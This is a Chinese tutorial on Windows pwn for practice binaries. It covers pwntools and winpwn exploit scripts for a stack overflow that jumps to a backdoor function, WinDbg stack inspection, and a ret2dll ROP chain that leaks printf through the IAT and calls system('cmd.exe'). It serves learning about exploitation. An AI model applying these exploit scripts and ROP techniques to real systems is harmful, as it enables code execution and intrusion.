win-pwn初探(二)
字数 863 2025-08-26 22:11:51
Win-Pwn初探(二):利用pwntools编写exp与ret2dll攻击技术
1. 利用pwntools编写Windows pwn exp
1.1 环境搭建
首先需要准备Win Server工具,用于将exe程序映射到网络端口:
git clone https://github.com/Ex-Origin/win_server.git
使用方法:
.\win_server.exe ..\ch72\ch72.exe 1234
1.2 基本exp编写
安装pwntools:
pip3 install pwntools
示例exp代码:
from pwn import *
from time import sleep
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('10.211.55.3', 1234)
p1 = b'a' * (0x14 + 4)
p1 += p32(0x401000) # 后门函数地址
r.sendline(p1)
sleep(1)
r.sendline('calc')
r.interactive()
2. 结合pwntools进行调试
2.1 调试技巧
- 在exp中添加
pause()使程序暂停执行 - 使用Windbg附加到目标进程
- 在关键位置(如gets函数返回后)设置断点
示例调试命令:
0:002> bp 0x0401088
0:002> g
2.2 栈布局分析
通过Windbg查看栈内存:
0:000> dc ebp - 0x20
0019fe70 00401088 0041b01c 0019fe7c 41414141 ..@...A.|...AAAA
0019fe80 41414141 41414141 41414141 00000010 AAAAAAAAAAAA....
0019fe90 61616161 00401000 00000000 06e29668 aaaa..@.....h...
3. 利用winpwn模块进行调试
3.1 配置.winpwn文件
配置文件路径:C:\Users\USERNAME\.winpwn
示例配置内容:
{
"debugger":{
"i386": {
"windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe"
},
"amd64": {
"windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe"
}
}
}
3.2 winpwn调试示例
from winpwn import *
context.log_level='debug'
context.arch='i386'
file_name = './ch72.exe'
r = process(file_name)
windbgx.attach(r)
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
r.interactive()
4. ret2dll攻击技术
4.1 Windows DLL基础
- ntdll.dll:Windows NT内核级文件,描述本地NTAPI接口
- kernel32.dll:控制内存管理、I/O操作和中断处理
- msvcrt.dll:提供C语言运行库函数(如printf, malloc等)
4.2 IAT(导入地址表)
类似于Linux中的GOT表,包含外部符号的真实地址,位于.idata段中。
4.3 攻击步骤
- 泄露函数地址(如printf)
- 计算DLL基地址
- 定位system和"cmd.exe"字符串地址
- 构造ROP链执行system("cmd.exe")
4.4 完整攻击示例
from winpwn import *
printf_plt = 0x402974
printf_got = 0x406200
# 第一阶段:泄露printf地址
p1 = p32(0x75E2D660) * 2053 # 覆盖v11指针
p1 += p32(0xdeadbeef)
p1 += p32(printf_plt)
p1 += p32(0x004016E3) # 返回地址
p1 += p32(printf_got)
# 第二阶段:计算system地址并执行
printf_addr = 0x75D35670 # 从泄露获得
dll_base = printf_addr - 0x10105670
system_addr = dll_base + 0x10105A70
cmd_addr = dll_base + 0x1010D158
p2 = p32(0x75E2D660) * 2053
p2 += p32(0xdeadbeef)
p2 += p32(system_addr)
p2 += p32(0x004016E3)
p2 += p32(cmd_addr)
5. 总结
- Windows pwn与Linux pwn的主要区别在于调试工具和DLL机制
- ret2dll类似于ret2libc,利用IAT表泄露函数地址
- 关键点:
- 保持v11指针不被破坏
- 正确计算DLL基地址和函数偏移
- 注意msvcrt.dll在不同系统中的位置可能不同
6. 参考资源
- Windows DLL机制详解
- Windbg调试技巧
- IAT表结构与原理
- msvcrt.dll函数偏移计算方法